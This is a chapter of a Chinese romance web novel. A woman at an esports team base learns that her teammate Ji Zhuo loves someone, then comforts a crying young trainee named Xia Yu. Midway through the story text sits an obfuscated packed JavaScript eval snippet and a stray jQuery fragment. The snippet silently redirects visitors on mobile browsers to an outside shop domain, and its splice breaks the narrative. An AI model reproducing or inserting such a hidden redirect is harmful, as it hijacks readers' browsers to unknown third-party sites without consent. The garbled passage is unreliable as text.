夏言垂着眼睫在心底快速复盘了一遍季濯口中那个所谓的可能性,最后得出的结论没有半分模糊的余地——这个可能性完完全全是零。
她指尖刚要抬起来,嘴唇也已微微张开,正准备把这番结论说出口,季濯的声音却先一步在安静的空间里响了起来。
他话音里先沾了点浅淡的笑意,像是随口撩拨的轻松模样:“开个玩笑。”
可话音转落的瞬间,那点漫不经心的笑意便彻底散了,取而代之的是沉在声线底下的轻微喟叹:“真正让我苦恼的事是,我有一个特别喜欢的人。
当初她决然地放弃了自己所拥有的一切,我一直以为她根本就不在意那些失去的东西。
可直到最近我才后知后觉地发现,她好像一直是不开心。”
季濯的目光自始至终牢牢锁在夏言脸上,每吐出一个字,都要稳稳接住她眼底流露的每一丝微末反应,不肯错过半分情绪波动。
这完全是夏言从未预料到的故事走向。
她愣了几秒,那些藏在心底的细碎感触突然不受控地涌了上来,顺着自己最真实的想法轻声开口:“她大概一直以为自己真的满不在乎,摆出一副没关系的轻松模样,可还是只要某个不起眼的场景,不起眼的一句话,突然触碰到心里的某个角落,那些积攒的情绪就会翻涌上来,让她控制不住地难过。
当初她咬着牙放弃所有的一切的时候,那可能已经是她当时能想到的、唯一能走下去的办法了。”
“嗯,所以她辛苦了,在无人知道的角落。”季濯低低地应了一声。
“好了,今天对你的陪练就到这儿,我得去补个觉。”他抬手用指节慢慢揉着有些发胀的额角。
“头有点晕。”说完便直起身,走到沙发边,垂眸看着蜷在沙发里的夏言,整个人团成小小的一坨。
他没忍住,抬掌用温厚的掌心轻拍了两下她柔软的发顶,嗓音浸着化不开的温柔,又重复了一遍:“辛苦了。”
转身踏上楼梯,行到一半时他像是想起什么,忽然停住脚步回头望了一眼。
沙发裹着那个纤瘦的身影,夏言还维持着刚才的姿势坐在沙发上,指尖搭在膝头动也没动,眼睫垂得很低,不知道正望着哪里出神,心里藏着什么千头万绪。
他在心底无声地补上那句没人听见的低语:辛苦了,我的繁星。
夏言脸上没什么表情,周身的空气像静置的,连眉峰都没动一下。
好几秒的空白像是被慢镜头拉得老长,她才后知后觉地反应过来,眼底骤然炸开一丝不敢相信的错愕,猛地回头望向季濯房间紧闭的门扉,语调里全是没藏住的惊讶:“他什么时候喜欢谁了?”活脱脱一副等着啃新鲜瓜的好奇架势。
可没等那点凑热闹的兴致漫开,一丝浅得发涩的酸楚就悄无声息地从心口涌上来,顺着血脉往喉咙口钻。
她下意识吸了一大口微凉的空气,想把那股莫名的酸涩硬压回去,可那感觉偏要和她作对似的,堵在喉间不上不下,连呼吸都带着点发闷的滞感。
她像是终于认了这份躲不开的情绪,认命般撑着身慢慢站起来,只想随便找点什么事,把那些乱飘的念头从脑子里挤出去。
晃到厨房,她径直拉开冰箱门,指尖捞到最靠里那瓶冰得挂着水珠的矿泉水,拧开盖子就仰头灌下去,凉意在喉咙里炸开,顺着食道沉到胃里。
喝完她便懒懒地靠在冰箱柜门上,抬眼打量着这间占地颇广的基地。
冷灰色的墙面延伸向远处,设备的指示灯在角落忽明忽暗,楼上传来一些他们比赛的讨论声。
她慢悠悠地盘算着该从哪个角落逛起,指尖无意识地摩挲着空瓶的边缘,最后还是抬手把空瓶精准扔进脚边的垃圾桶,转身拉开门走了出去。
风裹着户外独有的气息掠过来,撩起她耳边的碎发,夏言轻轻合上眼,任由暖融融的阳光毫无保留地铺在她脸颊和肩背上。
直到那点渗透出来的暖意慢慢盖过了刚才冰水留在胃里的凉劲,她才轻轻弯了弯唇角,露出一点浅淡的笑意。
风还在吹,把她的头发吹得四下乱晃,几缕碎发挡在眼前,露出来的那双眼睛亮得出奇,可那点浮在表面的笑意,却半点都没沉到眼底深处。
她脚步松散地往江雀的方向走,走出去好远才低头瞥见自己脚上还趿拉着室内的软拖鞋,她抿了抿唇,回头望向那扇早就关严的基地大门,顿了两秒便索性耸耸肩作罢。
算啦,反正都已经出来了,就这么晃着去找江雀,也没什么大不了的。
走了一会江雀的身影始终没在视线里出现,夏言顺着角落的阴影往深处走,指尖刚要碰到冰凉的墙面,视线里忽然撞进一个小小的蜷缩身影。
那好像是个青训营的小孩,整个人缩在角落的空隙里,后背抵着凉硬的砖瓦墙,肩膀一抽一抽的,细碎的哭声溢出来。
夏言放轻了脚步凑过去,在距离他两步远的地方停住,生怕惊到这个正埋着头掉眼泪的小家伙,声音放得柔和平缓:“还好吗?”
正哭得投入的小孩猛地顿住了肩膀,抽噎的动作都慢了半拍,过了好一会儿才茫然地抬起头。
他的脸颊上还挂着没擦净的泪痕,睫毛上沾着的泪珠顺着下颌线滚下来,落在洗得有些发软的训练服领口上,整个人还带着哭过之后的懵懂茫然。
夏言望着这张还带着点清秀的脸,脑海里忽然闪过今早出门前,应白塞给她的那份名单,纸上印着的一寸照不偏不倚就和眼前这张脸重合在了一起。
她刚才还怕自己记混脸,特意把名单揣在了兜里,没想到会在这样的场景下撞见对方。
直到这时,叫夏语的小孩才彻底从懵怔里反应过来,抬眼望向面前站着的夏言。
她穿了件柔软的米白色针织衫,领口处露出一点干净的白边,眉眼弯弯漾着温和的笑意,连周遭昏暗的光线都好像跟着柔化了几分,整个人透着让人安心的温柔气质。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611309|204179||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夏语瞬间反应过来站在自己面前的是谁,慌忙抬起胳膊用袖口使劲抹掉脸上残留的泪渍,嗓音里还裹着没散尽的浓重哭腔,带着点不好意思的沙哑:“夏言姐。”
他连忙往侧边挪了挪身子,空出身边一小块干净的位置,还伸手轻轻拍了拍灰尘,给夏言腾出能坐下的地方。
夏言依言走过去,挨着他身边坐下,视线落在他还泛红的侧脸上,带着点不确定的试探开口:“你叫……夏语?”
夏语忙不迭地点了点头,一想到刚才自己哭得鼻子通红的模样全被对方看了去,耳尖瞬间烧得通红,连脖颈都漫上了浅淡的粉色。
夏言看着忍不住弯了弯眼睛,语气里带着点藏不住的小得意:“应教练怕我刚来认不清队里的人,特意给了我一份名单,扫的时候看见你的名字和我只差一个字,就特意多记了好几眼,这不刚一看见你,立马就反应过来了。”
夏语整个人蜷在一起,把脸颊深深埋进曲起的膝盖之间,声音裹着点没散开的闷意,轻轻蹭过耳边:“夏言姐,我什么时候能像你一样厉害啊?”
夏言指尖顿了顿,会突然说出这样的话。
她转身看向肩线都透着点耷拉的夏语,眉眼弯起柔和的笑意,“为什么要像我一样厉害呀?我打游戏可是连基础操作都要练好久的水平,跟你比差远了。”
夏语终于抬起头,眼底还蒙着点没散开的挫败感,认真地摇了摇头:“不是说打游戏的事。你学习成绩一直拔尖,跟人打交道的时候也总是妥帖又自然,你刚来基地做自我介绍的时候,我第一眼就觉得你特别厉害。”
他的声音低下去,指尖无意识地抠着墙壁的边角,“可我学习一直跟不上,连跟陌生队友搭句话都要在心里演练好几遍。
以前我总想着,还好我游戏打得好,比身边很多人都强,凭着这份本事总归能在PE站稳脚跟,可现在我才发现原来就连之前唯一能给我留点慰藉的游戏,我好像也还远没到打得好的地步。”
夏言指尖轻轻摩挲,原本悬着的心渐渐沉了下来,语气也褪去了往日里的从容,多了几分坦诚的温度。
她轻声开口:“不是大家想的那样,我看起来学习拔尖,其实只是因为除了读书做题,我再也找不到别的能做好的事了。
其实就连早上和你们打招呼,我心里都要怦怦跳好久,紧张得指尖都发僵,可又怕你们看出我的局促,只能硬撑着露出自然的笑,一来二去才慢慢练出了这份看起来毫不费力的熟稔。
其实每个人都有自己不擅长的领域,眼下遇上的几次小挫折,从来都不能定义全部的自己。”
夏言郑重的看着他“所以,你很厉害了。”
夏语愣了愣,悬在眼眶里没忍住的泪珠“啪嗒”就砸在了手背上,原本绷紧的肩膀像是被这几句话揉开了似的,绷了一整天的情绪终于顺着眼泪松垮下来。
他胡乱用袖子蹭了蹭脸,露出个混着哭腔的傻气笑容,指尖偷偷攥住了训练服的衣角。